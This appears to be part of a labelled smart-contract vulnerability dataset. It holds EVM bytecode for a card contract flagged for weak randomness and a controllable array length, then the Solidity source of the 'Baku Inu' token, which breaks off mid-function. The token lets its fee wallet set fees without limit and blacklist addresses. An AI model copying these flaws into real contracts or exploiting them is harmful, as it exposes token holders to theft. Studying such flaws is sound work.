341561022657600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ad565b005b341561026857600080fd5b610270610ae5565b604051808215151515815260200191505060405180910390f35b341561029557600080fd5b61029d610aee565b6040518082815260200191505060405180910390f35b34156102be57600080fd5b6102c6610afb565b6040518082815260200191505060405180910390f35b34156102e757600080fd5b6102fd6004808035906020019091905050610b05565b60405180806020018460ff1660ff168152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561034f578082015181840152602081019050610334565b50505050905090810190601f16801561037c5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b341561039757600080fd5b6103b66004808035906020019091908035906020019091905050610c3c565b005b34156103c357600080fd5b610417600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fdd565b005b341561042457600080fd5b610459600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061150c565b6040518082815260200191505060405180910390f35b341561047a57600080fd5b61049060048080359060200190919050506115b4565b005b341561049d57600080fd5b6104b36004808035906020019091905050611619565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b341561050e57600080fd5b61052460048080359060200190919050506116eb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057157600080fd5b610587600480803590602001909190505061174a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c75780820151818401526020810190506105ac565b50505050905090810190601f1680156105f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061185a565b6040518082815260200191505060405180910390f35b341561065a57600080fd5b6106626118a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106af57600080fd5b6106b76118cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f75780820151818401526020810190506106dc565b50505050905090810190601f1680156107245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073d57600080fd5b610753600480803590602001909190505061190f565b604051808361ffff1661ffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6107c360048080359060200190919080359060200190919050506119e9565b005b34156107d057600080fd5b610805600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611e1f565b005b341561081257600080fd5b6108286004808035906020019091905050612327565b005b341561083557600080fd5b61083d612825565b604051808215151515815260200191505060405180910390f35b341561086257600080fd5b61086a61282e565b6040518082815260200191505060405180910390f35b341561088b57600080fd5b610893612838565b6040518082815260200191505060405180910390f35b34156108b457600080fd5b610910600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803560ff16906020019091905050612842565b005b341561091d57600080fd5b61093c6004808035906020019091908035906020019091905050612965565b005b610946612d44565b604051808215151515815260200191505060405180910390f35b6000600454905090565b610972613161565b6040805190810160405280600d81526020017f48756d616e697479436172647300000000000000000000000000000000000000815250905090565b6109b6816116eb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ef57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610a2a57600080fd5b816008600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60006001905090565b6000600980549050905090565b6000600554905090565b610b0d613161565b600080610b18613175565b60025485101515610b2857600080fd5b600385815481101515610b3757fe5b906000526020600020906003020160606040519081016040529081600082018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bea5780601f10610bbf57610100808354040283529160200191610bea565b820191906000526020600020905b815481529060010190602001808311610bcd57829003601f168201915b505050505081526020016001820160009054906101000a900460ff1660ff1660ff1681526020016002820154815250509050806000015181602001518260400151829250935093509350509193909250565b610c446131a0565b60055483101515610c5457600080fd5b610c5d836116eb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9657600080fd5b6060604051908101604052803373ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815250905060098054806001018281610cde91906131d8565b9160005260206000209060030201600083909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201555050506000600684815481101515610d6357fe5b906000526020600020906002020160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002054600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600686815481101515610ee057fe5b906000526020600020906002020160010154815260200190815260200160002081905550600683815481101515610f1357fe5b9060005260206000209060020201600101546006600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002054815481101515610fc357fe5b906000526020600020906002020160010181905550505050565b60055481101515610fed57600080fd5b610ff6816116eb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561102f57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561106a57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156110d757600080fd5b6001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002054600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060068481548110151561120557fe5b90600052602060002090600202016001015481526020019081526020016000208190555060068181548110151561123857fe5b9060005260206000209060020201600101546006600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020548154811015156112e857fe5b906000526020600020906002020160010181905550600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460068281548110151561134c57fe5b90600052602060002090600202016001018190555080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020819055508160068281548110151561140557fe5b906000526020600020906002020160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548210151561155b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160f57600080fd5b8060018190555050565b60008060006116266131a0565b6009805490508510151561163957600080fd5b60098581548110151561164857fe5b9060005260206000209060030201606060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815250509050806000015181602001518260400151935093509350509193909250565b600080600554831015156116fe57600080fd5b60068381548110151561170d57fe5b906000526020600020906002020190508060000160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b611752613161565b60006005548310151561176457600080fd5b60068381548110151561177357fe5b906000526020600020906002020160000160009054906101000a900461ffff16905060038161ffff168154811015156117a857fe5b90600052602060002090600302016000018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561184d5780601f106118225761010080835404028352916020019161184d565b820191906000526020600020905b81548152906001019060200180831161183057829003601f168201915b5050505050915050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6118d4613161565b6040805190810160405280600381526020017f4843580000000000000000000000000000000000000000000000000000000000815250905090565b60008061191a61320a565b6005548410151561192a57600080fd5b60068481548110151561193957fe5b9060005260206000209060020201606060405190810160405290816000820160009054906101000a900461ffff1661ffff1661ffff1681526020016000820160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250509050806000015181602001519250925050915091565b6119f16131a0565b60098054905083101515611a0457600080fd5b600983815481101515611a1357fe5b9060005260206000209060030201606060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815250509050818160200151141515611aab57600080fd5b806040015134141515611abd57600080fd5b806000015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611afc57600080fd5b806000015173ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515611b4057600080fd5b33600683815481101515611b5057fe5b906000526020600020906002020160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600683815481101515611bee57fe5b90600052602060002090600202016001018190555081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506009600160098054905003815481101515611cfc57fe5b9060005260206000209060030201600984815481101515611d1957fe5b90600052602060002090600302016000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018201548160010155600282015481600201559050506009600160098054905003815481101515611dbc57fe5b9060005260206000209060030201600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055600282016000905550506009805480919060019003611e199190613246565b50505050565b60008060055483101515611e3257600080fd5b339150839050611e41836116eb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515611e7a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611eb557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ef157600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002054600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060068681548110151561201f57fe5b90600052602060002090600202016001015481526020019081526020016000208190555060068381548110151561205257fe5b9060005260206000209060020201600101546006600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481526020019081526020016000205481548110151561210257fe5b906000526020600020906002020160010181905550600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460068481548110151561216657fe5b90600052602060002090600202016001018190555082600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020819055508060068481548110151561221f57fe5b906000526020600020906002020160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000806005548310151561233a57600080fd5b612343836116eb565b91503390508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561238357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166008600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156123f057600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002054600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060068681548110151561251e57fe5b90600052602060002090600202016001015481526020019081526020016000208190555060068381548110151561255157fe5b9060005260206000209060020201600101546006600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481526020019081526020016000205481548110151561260157fe5b906000526020600020906002020160010181905550600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460068481548110151561266557fe5b90600052602060002090600202016001018190555082600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020819055508060068481548110151561271e57fe5b906000526020600020906002020160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050565b60006001905090565b6000600154905090565b6000600254905090565b61284a613175565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128a557600080fd5b6060604051908101604052808481526020018360ff16815260200160008152509050600380548060010182816128db9190613278565b91600052602060002090600302016000839091909150600082015181600001908051906020019061290d9291906132aa565b5060208201518160010160006101000a81548160ff021916908360ff1602179055506040820151816002015550505060016002600082825401925050819055508160ff16600460008282540192505081905550505050565b61296d6131a0565b6009805490508310151561298057600080fd5b60098381548110151561298f57fe5b9060005260206000209060030201606060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152505090503373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16141515612a5357600080fd5b818160200151141515612a6557600080fd5b33600683815481101515612a7557fe5b906000526020600020906002020160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600683815481101515612b1357fe5b90600052602060002090600202016001018190555081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506009600160098054905003815481101515612c2157fe5b9060005260206000209060030201600984815481101515612c3e57fe5b90600052602060002090600302016000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018201548160010155600282015481600201559050506009600160098054905003815481101515612ce157fe5b9060005260206000209060030201600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055600282016000905550506009805480919060019003612d3e9190613246565b50505050565b6000806000806000612d5461320a565b60015434141515612d6457600080fd5b600454600554101515612d7657600080fd5b600554600454039450844260405180828152602001915050604051809103902060019004811515612da357fe5b0793506000841215612dd5577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff840293505b600092505b600084121515612e595760038361ffff16815481101515612df757fe5b90600052602060002090600302016002015460038461ffff16815481101515612e1c57fe5b906000526020600020906003020160010160009054906101000a900460ff1660ff160384039350600084121515612e54576001830192505b612dda565b3391506060604051908101604052808461ffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815250905060068054806001018281612ee7919061332a565b9160005260206000209060020201600083909190915060008201518160000160006101000a81548161ffff021916908361ffff16021790555060208201518160000160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010155505050600554600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020819055506001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506001600560008282540192505081905550600160038461ffff1681548110151561307e57fe5b9060005260206000209060030201600201600082825401925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6001549081150290604051600060405180830381858888f1935050505015156130ff57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167f7c1f9d0ff99ce7cdfc538e6a57e0da25cad20c3b30440894e5205eebe3d1f89484604051808261ffff1661ffff16815260200191505060405180910390a260019550505050505090565b602060405190810160405280600081525090565b60606040519081016040528061318961335c565b8152602001600060ff168152602001600081525090565b606060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b815481835581811511613205576003028160030283600052602060002091820191016132049190613370565b5b505050565b606060405190810160405280600061ffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b815481835581811511613273576003028160030283600052602060002091820191016132729190613370565b5b505050565b8154818355818115116132a5576003028160030283600052602060002091820191016132a491906133c6565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106132eb57805160ff1916838001178555613319565b82800160010185558215613319579182015b828111156133185782518255916020019190600101906132fd565b5b5090506133269190613411565b5090565b815481835581811511613357576002028160020283600052602060002091820191016133569190613436565b5b505050565b602060405190810160405280600081525090565b6133c391905b808211156133bf57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055600282016000905550600301613376565b5090565b90565b61340e91905b8082111561340a57600080820160006133e59190613499565b6001820160006101000a81549060ff02191690556002820160009055506003016133cc565b5090565b90565b61343391905b8082111561342f576000816000905550600101613417565b5090565b90565b61349691905b8082111561349257600080820160006101000a81549061ffff02191690556000820160026101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090555060020161343c565b5090565b90565b50805460018160011615610100020316600290046000825580601f106134bf57506134de565b601f0160209004906000526020600020908101906134dd9190613411565b5b505600a165627a7a7230582089cff650b2bb9596cc313d6ecedab44f6cabe6815415461f44cde1209b7469580029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 7,947 |
0x3202e555cc5de627ccf8a5668d10aefc97d41e90
|
/**
*Submitted for verification at Etherscan.io on 2021-11-08
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Baku is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
address payable private _feeAddrWallet1 = payable(0xaCF38600894b2d4e8B655cD1A53807B39f7178AD);
address payable private _feeAddrWallet2 = payable(0xaCF38600894b2d4e8B655cD1A53807B39f7178AD);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
string private constant _name = "Baku Inu";
string private constant _symbol = "BAKU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
